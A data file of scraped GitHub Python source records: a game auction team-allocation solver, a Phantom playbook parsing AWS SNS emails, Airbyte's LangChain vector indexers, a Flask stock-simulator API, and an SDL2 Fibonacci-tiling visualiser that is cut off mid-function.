{"seq_id":"8320641547","text":"import pricing\nimport misc\nimport statistics\nimport random\n# import cProfile\nfrom typing import List, Tuple\nimport os\nMatrix = List[List[float]]\n\n\nclass Unit:\n    def __init__(self, name: str, recruit_order: int):\n        self.name = name\n        self.recruit_order = recruit_order\n        self.owner = -1\n        self.bids = []\n        # whenever iterating over bids, we also iterate over Units\n        # Simplify loops and save on zips by storing the bids in the Units\n\n\nclass AuctionState:\n    def __init__(self):\n        self.players = []\n        self.units = []\n\n        self.max_team_size = 0\n\n        # index by player last for printing/reading and for consistency\n        # used for redundancy adjusted team values\n        self.bid_sums = []\n\n        self.synergies = []\n        # P x U x U, players choose value to reduce/increase value of unit pairs\n        # generally negative for redundant units\n        # increment value of team by manual_synergy[i][j][valuer] if i and j on same team\n        # should be triangular matrix since synergy i<->j == j<->i\n\n        self.game_dir = ''\n        self.auct_dir = ''\n        self.log_strings = []\n        self.logs_written = 0\n\n    # need to print as the auction runs, not just when a log is ready for the next output file\n    def print_and_log(self, text: str):\n        print(text)\n        self.log_strings.append(text)\n\n    def write_logs(self, filename: str):\n        print()\n        file = open(f'{self.auct_dir}output/{self.logs_written:02d}_{filename}.txt', 'w')\n        file.write('\\n'.join(self.log_strings))\n        file.close()\n        self.log_strings = []\n        self.logs_written += 1\n    \n    def format_bids(self):\n        self.print_and_log('--BIDS--        ' + ' '.join([f'{player:10s}' for player in self.players]))\n        for unit in self.units:\n            self.print_and_log(f'{unit.name:15s}' + ' '.join([f' {bid:5.2f}    ' for bid in unit.bids]))\n\n    def set_median_synergy(self):\n        print(f'Setting median synergies for {self.players[len(self.synergies)]}')\n        player_synergies = []\n        for u_i in range(len(self.units)):\n            next_synergy_row = []\n            if len(self.synergies) > 0:\n                for u_j in range(len(self.units)):\n                    next_synergy_row.append(statistics.median([synergy[u_i][u_j] for synergy in self.synergies]))\n            else:\n                next_synergy_row = [0] * len(self.units)\n            player_synergies.append(next_synergy_row)\n        self.synergies.append(player_synergies)\n\n    # checks that populated section of the matrix is triangular\n    def format_synergy(self, player_i: int):\n        self.print_and_log(f'  Synergies for {self.players[player_i]}')\n\n        for u_i in range(len(self.units)):\n            something_to_print = False\n            unit_line = f'{self.units[u_i].name:12s}: '\n            for u_j, synergy in enumerate(self.synergies[player_i][u_i]):\n                if synergy != 0:\n                    something_to_print = True\n                    unit_line += f' {self.units[u_j].name:12s}{synergy:5.2f} '\n                    if u_j <= u_i:\n                        self.print_and_log('NOTE, synergy matrix not triangular, possible error')\n            if something_to_print:\n                self.print_and_log(unit_line)\n\n    def remove_least_valued_unit(self):\n        least_value = 99999\n        least_value_i = -1\n        for unit in self.units:\n            if least_value > sum(unit.bids):\n                least_value = sum(unit.bids)\n                least_value_i = unit.recruit_order\n\n        for unit in self.units[least_value_i:]:\n            unit.recruit_order -= 1\n\n        self.print_and_log(f'Removing least valued: {self.units[least_value_i].name} {least_value/len(self.players)}')\n        self.units.pop(least_value_i)\n        for player_synergy in self.synergies:\n            player_synergy.pop(least_value_i)\n            for row in player_synergy:\n                row.pop(least_value_i)\n\n    # assign units in order of satisfaction, not recruitment\n    def format_initial_assign(self):\n        self.print_and_log('---Initial assignments---')\n\n        team_sizes = [0] * len(self.players)\n        team_sizes.append(len(self.units))  # all unassigned (team -1)\n\n        for unit in self.units:\n            unit.owner = -1\n        \n        while team_sizes[-1] > 0:  # unassigned units remain\n            max_sat = -99999\n            max_sat_unit = Unit('NULL', -1)\n            max_sat_player = -1\n            for unit in self.units:\n                if unit.owner == -1:\n                    for p, bid in enumerate(unit.bids):\n                        sat = pricing.comp_sat(unit.bids, p)\n                        if team_sizes[p] < self.max_team_size and max_sat < sat:\n                            max_sat = sat\n                            max_sat_unit = unit\n                            max_sat_player = p\n\n            team_sizes[max_sat_unit.owner] -= 1\n            max_sat_unit.owner = max_sat_player\n            team_sizes[max_sat_unit.owner] += 1\n            self.print_and_log(f'{max_sat_unit.name:12s} to {max_sat_player} {self.players[max_sat_player]:12s}')\n\n    def teams(self) -> List[List[Unit]]:\n        teams = [[] for _ in self.players]\n\n        for unit in self.units:\n            teams[unit.owner].append(unit)\n        return teams\n\n    def format_teams(self):\n        self.print_and_log('---Teams---')\n        self.print_and_log(' '.join([f'{player:12s}' for player in self.players]))\n\n        teams = self.teams()\n        for i in range(self.max_team_size):\n            self.print_and_log(' '.join([f'{(team[i].name[:12]):12s}' for team in teams]))\n\n        self.print_and_log(' '.join([f'{price:5.2f}       ' for price in self.handicaps()]))\n\n    # How player i values player j's team. No adjustments\n    def value_matrix(self) -> Matrix:\n        v_matrix = [([0] * len(self.players)) for _ in self.players]\n\n        for unit in self.units:\n            for valuer_row, bid in zip(v_matrix, unit.bids):\n                valuer_row[unit.owner] += bid\n\n        return v_matrix\n\n    # Could avoid recalculating in some circumstances, but these are not common;\n    # at minimum, when a unit is reassigned, need to check for synergy relationship with new teammates;\n    # also when leaving a team; can't save from that unit's prior swap because other teammates may have changed.\n    # Depends on synergy relationship graph density, but on tests with FE8:\n    # 54993/55440 calls to synergy_matrix() required a recalculation, implying very few reassignments meet\n    # the circumstances of having no former or current teammates as connected to any moving unit.\n    # If no synergy relationships, much faster on FE6, but cannot conclude any speedup in general.\n    # Could also only update rows/columns of affected players, but most time is all-player rotations\n    def synergy_matrix(self) -> Matrix:\n        s_matrix = [([0] * len(self.players)) for _ in self.players]\n\n        teams = self.teams()\n        for u_i in range(self.max_team_size):\n            for u_j in range((u_i+1), self.max_team_size):\n                for player_i, synergies in enumerate(self.synergies):\n                    for player_j, team in enumerate(teams):\n                        s_matrix[player_i][player_j] += synergies[team[u_i].recruit_order][team[u_j].recruit_order]\n\n        return s_matrix\n\n    def v_s_matrix(self) -> Matrix:\n        v_matrix = self.value_matrix()\n        s_matrix = self.synergy_matrix()\n        for v_row, s_row in zip(v_matrix, s_matrix):\n            for i in range(len(v_row)):\n                v_row[i] += s_row[i]\n                v_row[i] = max(0.0, v_row[i])  # team value should never be negative\n        return v_matrix\n\n    # Adjusted for synergy and redundancy\n    def final_matrix(self) -> Matrix:\n        return pricing.apply_redundancy(self.v_s_matrix(), self.bid_sums)\n\n    def handicaps(self) -> List[float]:\n        return pricing.pareto_prices(self.final_matrix())\n\n    # Print matrix, comp_sat, handicaps, and matrix+sat after handicapping\n    def format_value_matrices(self):\n        self.print_and_log('           ' +\n                           ' '.join([f'{player:10s}' for player in self.players]) +\n                           ' Comparative satisfaction')\n\n        def print_matrix(mat: Matrix, string: str):\n            self.print_and_log('')\n            self.print_and_log(string)\n            for p, row in enumerate(mat):\n                self.print_and_log(f'{self.players[p]:10s} ' +\n                                   ' '.join([f' {value:6.2f}   ' for value in row]) +\n                                   f'  {pricing.comp_sat(row, p):6.2f}')\n\n        print_matrix(self.value_matrix(), 'Unadjusted value matrix')\n        print_matrix(self.synergy_matrix(), 'Synergy')\n        print_matrix(self.v_s_matrix(), 'Synergy adjusted')\n        final_matrix = self.final_matrix()\n        print_matrix(final_matrix, 'Redundancy adjusted')\n\n        robustness = 0\n        for p, row in enumerate(final_matrix):\n            for i, value in enumerate(row):\n                if p == i:\n                    robustness += value\n\n        self.print_and_log('')\n        self.print_and_log(f'Average team robustness: {robustness/len(self.players):6.2f}')\n\n        prices = self.handicaps()\n\n        self.print_and_log('HANDICAPS: ' + ' '.join([f' {price:6.2f}   ' for price in prices]))\n        self.print_and_log('')\n\n        self.print_and_log('Handicap adjusted')\n        for p, row in enumerate(final_matrix):\n            self.print_and_log(f'{self.players[p]:10s} ' +\n                               ' '.join([f' {value - price:6.2f}   ' for value, price in zip(row, prices)]) +\n                               f'  {pricing.comp_sat(row, p) - pricing.comp_sat(prices, p):6.2f}')\n\n    def get_score(self):\n        return pricing.allocation_score(self.final_matrix(), 0.25)\n\n    # try all swaps to improve score\n    def improve_allocation_swaps(self) -> bool:\n        current_score = self.get_score()\n        swapped = False\n\n        for u_i, unit_i in enumerate(self.units):\n            for unit_j in self.units[u_i+1:]:\n                if unit_i.owner != unit_j.owner:\n                    unit_i.owner, unit_j.owner = unit_j.owner, unit_i.owner\n\n                    if current_score < self.get_score():\n                        current_score = self.get_score()\n                        swapped = True\n                        # Use name of owner before swap\n                        self.print_and_log(f'Swapping {self.players[unit_j.owner]:12s} '\n                                           f'{(unit_i.name[:12]):12s} <-> {(unit_j.name[:12]):12s} '\n                                           f'{self.players[unit_i.owner]:12s}, '\n                                           f'new score {current_score:7.3f}')\n                    else:  # return units to owners\n                        unit_i.owner, unit_j.owner = unit_j.owner, unit_i.owner\n        return swapped\n\n    # try all rotations (swaps of three or more) to improve score\n    # iterate over rotations at the highest level,\n    # skip branching tree if player at that level of recursion isn't trading\n    # only full p rotations will cost much time\n\n    # If this didn't rotate from rotations[test_until], only need to check until that point:\n    # Complete one \"lap\" without any successful rotation, lap doesn't need to start at rotation[0]\n    # Set last_rotation to index r whenever a rotation occurs to pass to next execution.\n    def improve_allocation_rotate(self, test_until_i: int, rotations: List[Tuple[int]]) -> int:\n        current_score = self.get_score()\n        last_rotation_i = -1\n\n        indices = [0]*len(self.players)  # of units being traded from 0~teamsize-1, set during recursive_rotate branch\n        teams = self.teams()\n\n        def recursive_rotate(p_i):\n            nonlocal teams\n            nonlocal current_score\n            nonlocal last_rotation_i\n\n            if p_i >= len(self.players):  # base case\n                for p in trading_players:\n                    teams[p][indices[p]].owner = rotation[p]  # p's unit goes to rotation[p]\n\n                if current_score < self.get_score():\n                    current_score = self.get_score()\n\n                    self.print_and_log('')\n                    self.print_and_log('Rotating:')\n                    for p2 in trading_players:\n                        self.print_and_log(f'{self.players[p2]:12s} -> '\n                                           f'{(teams[p2][indices[p2]].name[:12]):12s} -> '\n                                           f'{self.players[rotation[p2]]:12s}')\n                    self.print_and_log(f'New score {current_score:7.3f}')\n                    self.print_and_log('')\n\n                    while self.improve_allocation_swaps():\n                        pass\n                    current_score = self.get_score()\n\n                    teams = self.teams()\n                    last_rotation_i = r_i\n                else:\n                    for p in trading_players:\n                        teams[p][indices[p]].owner = p  # unrotate, if teams were updated rotates to new teams\n\n            else:\n                if p_i in trading_players:\n                    for indices[p_i] in range(self.max_team_size):  # for each unit in the team\n                        recursive_rotate(p_i + 1)\n                else:  # don't branch, this player isn't trading in this rotation, go to next player\n                    recursive_rotate(p_i + 1)\n\n        for r_i, rotation in enumerate(rotations):\n            if r_i > test_until_i and last_rotation_i < 0:\n                self.print_and_log('Reached latest effected rotation of prior loop. Stopping rotation early.')\n                return last_rotation_i\n\n            trading_players = [p for p, r in enumerate(rotation) if p != r]\n            self.print_and_log(f'{r_i:3d}/{len(rotations):3d}  '\n                               f'Rotation {rotation}  '\n                               f'Trading players {trading_players}')\n            recursive_rotate(0)\n\n        return last_rotation_i\n\n    def load(self):\n        # directories.txt contains paths as first word, subsequent words may be comments\n        # 1st line is game directory, 2nd auction dir, subsequent are synergy filenames\n        directories = [d[0] for d in misc.read_grid('directories.txt', str)]\n        self.game_dir = directories[0]\n        self.auct_dir = directories[1]\n\n        self.units = [Unit(row[0], i) for i, row in enumerate(misc.read_grid(f'{self.auct_dir}units.txt', str))]\n        self.players = misc.read_grid(f'{self.auct_dir}players.txt', str)[0]\n        self.max_team_size = len(self.units) // len(self.players)\n        bids = misc.read_grid(f'{self.auct_dir}bids.txt', float)\n        misc.extend_array(bids, len(self.units), [0] * len(self.players))\n        self.bid_sums = [0] * len(self.players)\n\n        for unit, bid_row in zip(self.units, bids):\n            # if fewer than max players, create dummy players from existing bids\n            while len(bid_row) < len(self.players):\n                bid_row.append(statistics.median(bid_row) * random.triangular(.8, 1.2))\n            for i, bid in enumerate(bid_row):\n                self.bid_sums[i] += bid\n            unit.bids = bid_row\n\n        self.synergies = []\n        for player in self.players:\n            try:\n                next_synergies = misc.read_grid(f'{self.auct_dir}synergy_{player}.txt', float)\n            except FileNotFoundError:\n                self.set_median_synergy()\n            else:\n                misc.extend_array(next_synergies, len(self.units), [0] * len(self.units))\n                for row in next_synergies:\n                    misc.extend_array(row, len(self.units), 0)\n                self.synergies.append(next_synergies)\n\n    def run(self):\n        self.load()\n\n        if not os.path.exists(f'{self.auct_dir}output'):\n            os.makedirs(f'{self.auct_dir}output')\n\n        self.format_bids()\n        self.write_logs('bids')\n\n        for i, player in enumerate(self.players):\n            self.format_synergy(i)\n            self.write_logs(f'synergy_{player}')\n\n        while len(self.units) % len(self.players) != 0:\n            self.remove_least_valued_unit()\n        self.write_logs('remove_units')\n\n        self.format_initial_assign()\n        self.write_logs('initial_assign')\n\n        while self.improve_allocation_swaps():\n            pass\n\n        rotations = misc.one_loop_permutations(len(self.players))\n        test_until = len(rotations)\n        while test_until >= 0:\n            test_until = self.improve_allocation_rotate(test_until, rotations)\n\n        self.write_logs('reassignments')\n\n        self.format_value_matrices()\n        self.write_logs('matrices')\n        self.format_teams()\n        self.write_logs('teams')\n\n\nif __name__ == '__main__':\n    test = AuctionState()\n    # cProfile.run('test.run()', sort='cumulative')\n    test.run()\n","repo_name":"sandbPublic/FE_auction_python","sub_path":"AuctionState.py","file_name":"AuctionState.py","file_ext":"py","file_size_in_byte":16957,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"}
{"seq_id":"19998130495","text":"\"\"\"\n\"\"\"\n\nimport phantom.rules as phantom\nimport json\nfrom datetime import datetime, timedelta\nresults_dict = {}\n\n# add information from the results_dict to the container\ndef add_results_to_container(container):\n    cef = results_dict\n    raw = {}\n    success, message, artifact_id = phantom.add_artifact(\n        container=container, raw_data=raw, cef_data=cef, label='aws',\n        name='AWS SNS Message', severity='medium',\n        identifier=None,\n        artifact_type='aws')\n    \n    phantom.error(\"=== success/error status message ===\")\n    phantom.debug(success)\n    phantom.error(message)\n    return success\n\n# parse and flatten the json to store in results_dict\ndef parse_json(d):\n    for k, v in d.items():\n        if isinstance(v, dict):\n            parse_json(v)\n        else:\n            key = \"{0}\".format(k)\n            value = \"{0}\".format(v)\n            results_dict.update({key:value})\n            \ndef on_start(container):\n    import email\n    email_body = phantom.collect2(container=container, datapath=['artifact:*.cef.bodyText'])\n    phantom.error(email_body)\n    phantom.debug('on_start() called')\n    raw_email = json.loads(phantom.get_raw_data(container)).get('raw_email')\n    b = email.message_from_string(raw_email)\n    # parse the email to get the body of the email\n    if b.is_multipart():\n        email_message = b.get_payload()[0]\n        for payload in b.get_payload():\n            phantom.debug(payload.get_payload())\n        for part in email_message.walk():\n            payload = part.get_payload() #returns a bytes object\n            payload = json.loads(payload, strict=False)\n            phantom.error(payload)\n            phantom.error(\"=== email payload ===\")\n            phantom.debug(payload)\n            parse_json(payload)\n    else:\n        phantom.debug(\"=== not multipart ===\")\n        phantom.error(b.get_payload())\n        payload = b.get_payload()\n        parse_json(payload)\n    \n    phantom.error(\"=== results dict ===\")\n    phantom.debug(results_dict)\n    add_results_to_container(container)\n    return\n\ndef on_finish(container, summary):\n    phantom.debug('on_finish() called')\n    # This function is called after all actions are completed.\n    # summary of all the action and/or all detals of actions \n    # can be collected here.\n\n    # summary_json = phantom.get_summary()\n    # if 'result' in summary_json:\n        # for action_result in summary_json['result']:\n            # if 'action_run_id' in action_result:\n                # action_results = phantom.get_action_results(action_run_id=action_result['action_run_id'], result_data=False, flatten=False)\n                # phantom.debug(action_results)\n\n    return","repo_name":"superducktoes/phantom_playbooks","sub_path":"aws_parse_sns_email_copy.py","file_name":"aws_parse_sns_email_copy.py","file_ext":"py","file_size_in_byte":2671,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"}
{"seq_id":"20192558311","text":"import itertools\nimport os\nimport uuid\nfrom abc import ABC, abstractmethod\nfrom typing import Any, List, Optional\n\nimport pinecone\nfrom airbyte_cdk.destinations.vector_db_based import Embedder\nfrom airbyte_cdk.models import ConfiguredAirbyteCatalog\nfrom airbyte_cdk.models.airbyte_protocol import AirbyteLogMessage, AirbyteMessage, DestinationSyncMode, Level, Type\nfrom destination_langchain.config import ChromaLocalIndexingModel, DocArrayHnswSearchIndexingModel, PineconeIndexingModel\nfrom destination_langchain.document_processor import METADATA_RECORD_ID_FIELD, METADATA_STREAM_FIELD\nfrom destination_langchain.measure_time import measure_time\nfrom destination_langchain.utils import format_exception\nfrom langchain.document_loaders.base import Document\nfrom langchain.vectorstores import Chroma\nfrom langchain.vectorstores.docarray import DocArrayHnswSearch\n\n\nclass Indexer(ABC):\n    def __init__(self, config: Any, embedder: Embedder):\n        self.config = config\n        self.embedder = embedder\n        pass\n\n    def pre_sync(self, catalog: ConfiguredAirbyteCatalog):\n        pass\n\n    def post_sync(self) -> List[AirbyteMessage]:\n        return []\n\n    @abstractmethod\n    def index(self, document_chunks: List[Document], delete_ids: List[str]):\n        pass\n\n    @abstractmethod\n    def check(self) -> Optional[str]:\n        pass\n\n    @property\n    def max_metadata_size(self) -> Optional[int]:\n        return None\n\n\ndef chunks(iterable, batch_size):\n    \"\"\"A helper function to break an iterable into chunks of size batch_size.\"\"\"\n    it = iter(iterable)\n    chunk = tuple(itertools.islice(it, batch_size))\n    while chunk:\n        yield chunk\n        chunk = tuple(itertools.islice(it, batch_size))\n\n\n# large enough to speed up processing, small enough to not hit pinecone request limits\nPINECONE_BATCH_SIZE = 40\n\n\nclass PineconeIndexer(Indexer):\n    config: PineconeIndexingModel\n\n    def __init__(self, config: PineconeIndexingModel, embedder: Embedder):\n        super().__init__(config, embedder)\n        pinecone.init(api_key=config.pinecone_key, environment=config.pinecone_environment, threaded=True)\n        self.pinecone_index = pinecone.Index(config.index, pool_threads=10)\n        self.embed_fn = measure_time(self.embedder.embeddings.embed_documents)\n\n    def pre_sync(self, catalog: ConfiguredAirbyteCatalog):\n        index_description = pinecone.describe_index(self.config.index)\n        self._pod_type = index_description.pod_type\n        for stream in catalog.streams:\n            if stream.destination_sync_mode == DestinationSyncMode.overwrite:\n                self._delete_vectors({METADATA_STREAM_FIELD: stream.stream.name})\n\n    def post_sync(self):\n        return [AirbyteMessage(type=Type.LOG, log=AirbyteLogMessage(level=Level.WARN, message=self.embed_fn._get_stats()))]\n\n    def _delete_vectors(self, filter):\n        if self._pod_type == \"starter\":\n            # Starter pod types have a maximum of 1000000 rows\n            top_k = 10000\n            self._delete_by_metadata(filter, top_k)\n        else:\n            self.pinecone_index.delete(filter=filter)\n\n    def _delete_by_metadata(self, filter, top_k):\n        zero_vector = [0.0] * self.embedder.embedding_dimensions\n        query_result = self.pinecone_index.query(vector=zero_vector, filter=filter, top_k=top_k)\n        vector_ids = [doc.id for doc in query_result.matches]\n        if len(vector_ids) > 0:\n            self.pinecone_index.delete(ids=vector_ids)\n\n    def index(self, document_chunks, delete_ids):\n        if len(delete_ids) > 0:\n            self._delete_vectors({METADATA_RECORD_ID_FIELD: {\"$in\": delete_ids}})\n        embedding_vectors = self.embed_fn([chunk.page_content for chunk in document_chunks])\n        pinecone_docs = []\n        for i in range(len(document_chunks)):\n            chunk = document_chunks[i]\n            metadata = chunk.metadata\n            metadata[\"text\"] = chunk.page_content\n            pinecone_docs.append((str(uuid.uuid4()), embedding_vectors[i], metadata))\n        async_results = [\n            self.pinecone_index.upsert(vectors=ids_vectors_chunk, async_req=True, show_progress=False)\n            for ids_vectors_chunk in chunks(pinecone_docs, batch_size=PINECONE_BATCH_SIZE)\n        ]\n        # Wait for and retrieve responses (this raises in case of error)\n        [async_result.get() for async_result in async_results]\n\n    def check(self) -> Optional[str]:\n        try:\n            description = pinecone.describe_index(self.config.index)\n            actual_dimension = int(description.dimension)\n            if actual_dimension != self.embedder.embedding_dimensions:\n                return f\"Your embedding configuration will produce vectors with dimension {self.embedder.embedding_dimensions:d}, but your index is configured with dimension {actual_dimension:d}. Make sure embedding and indexing configurations match.\"\n        except Exception as e:\n            return format_exception(e)\n        return None\n\n    @property\n    def max_metadata_size(self) -> int:\n        # leave some space for the text field\n        return 40_960 - 10_000\n\n\nclass DocArrayHnswSearchIndexer(Indexer):\n    config: DocArrayHnswSearchIndexingModel\n\n    def __init__(self, config: DocArrayHnswSearchIndexingModel, embedder: Embedder):\n        super().__init__(config, embedder)\n\n    def _init_vectorstore(self):\n        self.vectorstore = DocArrayHnswSearch.from_params(\n            embedding=self.embedder.embeddings, work_dir=self.config.destination_path, n_dim=self.embedder.embedding_dimensions\n        )\n\n    def pre_sync(self, catalog: ConfiguredAirbyteCatalog):\n        for stream in catalog.streams:\n            if stream.destination_sync_mode != DestinationSyncMode.overwrite:\n                raise Exception(\n                    f\"DocArrayHnswSearchIndexer only supports overwrite mode, got {stream.destination_sync_mode} for stream {stream.stream.name}\"\n                )\n        for file in os.listdir(self.config.destination_path):\n            os.remove(os.path.join(self.config.destination_path, file))\n        self._init_vectorstore()\n\n    def post_sync(self):\n        return [AirbyteMessage(type=Type.LOG, log=AirbyteLogMessage(level=Level.WARN, message=self.index._get_stats()))]\n\n    @measure_time\n    def index(self, document_chunks, delete_ids: List[str]):\n        # does not support deleting documents, always full refresh sync\n        self.vectorstore.add_documents(document_chunks)\n\n    def check(self) -> Optional[str]:\n        try:\n            self._init_vectorstore()\n        except Exception as e:\n            return format_exception(e)\n        return None\n\n\nclass ChromaLocalIndexer(Indexer):\n    config: ChromaLocalIndexingModel\n\n    def __init__(self, config: ChromaLocalIndexingModel, embedder: Embedder):\n        super().__init__(config, embedder)\n\n    def _init_vectorstore(self):\n        self.vectorstore = Chroma(\n            collection_name=self.config.collection_name,\n            embedding_function=self.embedder.embeddings,\n            persist_directory=self.config.destination_path,\n        )\n\n    def pre_sync(self, catalog: ConfiguredAirbyteCatalog):\n        self._init_vectorstore()\n        for stream in catalog.streams:\n            if stream.destination_sync_mode == DestinationSyncMode.overwrite:\n                self.vectorstore._collection.delete(where={METADATA_STREAM_FIELD: {\"$eq\": stream.stream.name}})\n\n    def index(self, document_chunks, delete_ids):\n        for delete_in in delete_ids:\n            self.vectorstore._collection.delete(where={METADATA_RECORD_ID_FIELD: {\"$eq\": delete_in}})\n        for chunk in document_chunks:\n            self._normalize_metadata(chunk)\n        self.vectorstore.add_documents(document_chunks)\n\n    def _normalize_metadata(self, document: Document):\n        for key, value in document.metadata.items():\n            # check bool separately because isinstance(True, int) == True\n            if not isinstance(value, (str, float, int)) or isinstance(value, bool):\n                document.metadata[key] = str(value)\n\n    def check(self) -> Optional[str]:\n        try:\n            self._init_vectorstore()\n            # try reading collections to make sure it works\n            self.vectorstore._client.list_collections()\n        except Exception as e:\n            return format_exception(e)\n        return None\n","repo_name":"airbytehq/airbyte","sub_path":"airbyte-integrations/connectors/destination-langchain/destination_langchain/indexer.py","file_name":"indexer.py","file_ext":"py","file_size_in_byte":8328,"program_lang":"python","lang":"en","doc_type":"code","stars":12323,"dataset":"github-code","pt":"35"}
{"seq_id":"5561844764","text":"#!/usr/bin/env python\n\"\"\"\nEntry point for stocksim api\n\"\"\"\nfrom flask import Flask\nfrom flask_cors import CORS\nfrom flask_restful import Api\nfrom flask_jwt_extended import JWTManager\nfrom guppy import hpy\n\n# Local\nfrom api import UserService, StockService\nfrom controllers.UserController import UserController\nfrom settings import JWT_SECRET_KEY\n\napp = Flask(__name__)\ncors = CORS(app, resources={r\"*\": {\"origins\": \"*\"}})\n\napp.config[\"JWT_SECRET_KEY\"] = JWT_SECRET_KEY\napp.config[\"JWT_BLACKLIST_ENABLED\"] = True\napp.config[\"JWT_BLACKLIST_TOKEN_CHECKS\"] = [\"access\", \"refresh\"]\n\nblacklist = set()\njwt = JWTManager(app)\napi = Api(app)\n\n# guppy\nh = hpy()\nprint(h.heap())\n\n# called every time client tries to access a secure endpoint\n@jwt.token_in_blacklist_loader\ndef check_if_token_in_blacklist(decrypted_token):\n    jti = decrypted_token[\"jti\"]\n    return UserController.tokenIsBlacklisted(jti)\n\n# api urls\nLOCAL_URL = 'http://localhost:5000'\nAPI_LOGIN = '/login/submit'\nAPI_REGISTER = '/registration'\nAPI_WATCHLIST_ADD = \"/watch/add\"\nAPI_WATCHLIST_REMOVE = \"/watch/remove\"\nAPI_REFRESH = \"/token/refresh\"\nAPI_LOGOUT = \"/logout/access\"\nAPI_LOGOUT_REFRESH = \"/logout/refresh\"\nAPI_STOCK_PURCHASE_SELL = \"/stock/purchase\"\nAPI_STOCK = \"/stock\"\nAPI_USER_INFO = \"/user/info\"\nACCESS_COOKIE = 'user_access'\nREFRESH_COOKIE = 'user_refresh'\nUSER_COOKIE = 'user_info'\n\n# User Service\napi.add_resource(UserService.UserRegistration, API_REGISTER)\napi.add_resource(UserService.UserLogin, API_LOGIN)\napi.add_resource(UserService.UserLogoutAccess, API_LOGOUT)\napi.add_resource(UserService.UserLogoutRefresh, API_LOGOUT_REFRESH)\napi.add_resource(UserService.TokenRefresh, API_REFRESH)\napi.add_resource(UserService.UserInfo, API_USER_INFO)\n# Stock Service\napi.add_resource(StockService.GetStock, API_STOCK)\napi.add_resource(StockService.PurchaseAsset, API_STOCK_PURCHASE_SELL)\napi.add_resource(StockService.WatchAsset, API_WATCHLIST_ADD)\napi.add_resource(StockService.RemoveWatchedAsset, API_WATCHLIST_REMOVE)\n\nif __name__ == \"__main__\":\n    # app.run(host='0.0.0.0')    # Dockerized\n    app.run(debug=True)    # Debug\n","repo_name":"Gladdstone/stocksim","sub_path":"src/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":2099,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"35"}
{"seq_id":"26439079937","text":"import numpy as np\nimport sdl2\nimport sdl2.ext\nfrom src.fibonacci.squaregrid import Squaregrid\nfrom util import find_closest_half_point, merge_sorted_predicate\nfrom windowmanager import WindowManager\nfrom src.fibonacci.projection import project_point_line_2d\nfrom src.fibonacci.lineprojectionview import LineProjection\nfrom geometry import Line2D\n\nWINDOWSIZE = (800, 800)\nWINDOWCENTER = (WINDOWSIZE[0]/2, WINDOWSIZE[1]/2)\nGRID_SUBDIVISIONS = (16, 16)\n\n# Show/Hide visuals\nSHOW_LINE = True\nSHOW_HALFWAYS = True\nSHOW_PROJECTIONS = True\nSHOW_LATTICE_POINTS = True\nSHOW_INTEGRALS = True\n\nsdl2.ext.init()\n\nwm = WindowManager(\"Fibonacchitiling\", WINDOWSIZE)\n\ngrid = Squaregrid(WINDOWSIZE, *GRID_SUBDIVISIONS)\ngrid.xyscale = np.array((50, 50))\ngrid.origin = np.array([*WINDOWCENTER]) / grid.xyscale\ngrid.generate_labels()\n\nprojection = LineProjection((WINDOWSIZE[0], 100), (0, WINDOWSIZE[1] - 100))\nprojection.xyscale = np.array((50, 1))\nprojection.origin = np.array((400, 50)) / projection.xyscale\n\nanglerate = 0.0\nmoverate = 0.0\n\nline = Line2D(0, 0.553574)\n\n\ndef get_lattice_pts(line: Line2D, xmin, ymin, xmax, ymax):\n    \"\"\"\n    For each square bounded by integers between xyminmax and \n    intersecting with `line`, return the center.\n    \"\"\"\n    assert xmin <= xmax and ymin <= ymax\n    lo, hi = np.array([xmin, ymin]), np.array([xmax, ymax])\n    x_ts = line.get_int_values(0, lo, hi)\n    y_ts = line.get_int_values(1, lo, hi)\n    for t in x_ts:\n        grid.draw_dot_transformed(line(t), 4, (255, 0, 0, 255))\n    for t in y_ts:\n        grid.draw_dot_transformed(line(t), 4, (0, 255, 0, 255))\n    ts = merge_sorted_predicate(lambda a, b: a < b, x_ts, y_ts)\n    pts = np.array([line(t) for t in ts])\n    lpts = np.zeros((len(pts)-1, 2))\n    for i in range(len(pts)-1):\n        halfway = (pts[i+1] + pts[i])/2\n        if SHOW_HALFWAYS:\n            grid.draw_dot_transformed(halfway, 4, (255, 0, 255, 255))\n        lpts[i] = find_closest_half_point(halfway)\n    return lpts\n\n\ndef draw_pt_proj_between(target: Squaregrid, p: np.ndarray, a: np.ndarray, b: np.ndarray):\n    \"\"\"Draw the shortest path between `p` and the line from `a` to `b`.\"\"\"\n    pp = project_point_line_2d(p, a, b-a)\n    target.draw_line_transformed(p, pp)\n\n\ndef tickmethod():\n    line.dist_to_zero += moverate * 0.05\n    line.angle += anglerate * 0.005\n    sdl2.SDL_SetRenderDrawColor(grid.renderer, 0, 0, 0, 0)\n    sdl2.SDL_RenderClear(grid.renderer)\n    minxy, maxxy = np.array([-5, -5]), np.array([5,5])\n    lpts = get_lattice_pts(line,*minxy, *maxxy)\n    if SHOW_LATTICE_POINTS:\n        for lpt in lpts:\n            grid.draw_dot_transformed(lpt, 6)\n    proj_lattice_pts = [project_point_line_2d(p, line.start, line.direction) for p in lpts]\n    if SHOW_LINE:\n        line.draw(grid, minxy, maxxy)\n    if SHOW_PROJECTIONS:\n        for i in range(len(lpts)):\n            grid.draw_line_transformed(lpts[i], proj_lattice_pts[i])\n    projection.hor_segments.clear()\n    projection.vert_segments.clear()\n    projection.projection_center = line.normal * line.dist_to_zero\n    for i, lpt in enumerate(lpts[1:], 1):\n        diff = lpt - lpts[i-1]\n        if diff[0] == 0:\n            projection.hor_segments.append(\n                (proj_lattice_pts[i-1], proj_lattice_pts[i]))\n        else:\n            projection.vert_segments.append(\n                (proj_lattice_pts[i-1], proj_lattice_pts[i]))\n    projection.draw_pts()\n    sdl2.SDL_RenderPresent(grid.renderer)\n    grid.draw(wm.renderer)\n    projection.draw(wm.renderer)\n\n\ndef rot_cw(event):\n    global anglerate\n    if event.type == sdl2.SDL_KEYDOWN:\n        anglerate = -1.0\n        return\n    anglerate = 0.0\n\n\ndef rot_ccw(event):\n    global anglerate\n    if event.type == sdl2.SDL_KEYDOWN:\n        anglerate = 1.0\n        return\n    anglerate = 0.0\n\n\ndef move_orth_fwd(event):\n    global moverate\n    if event.type == sdl2.SDL_KEYDOWN:\n        moverate = 1.0\n        return\n    moverate = 0.0\n\n\ndef move_orth_bwd(event):\n    global moverate\n    if event.type == 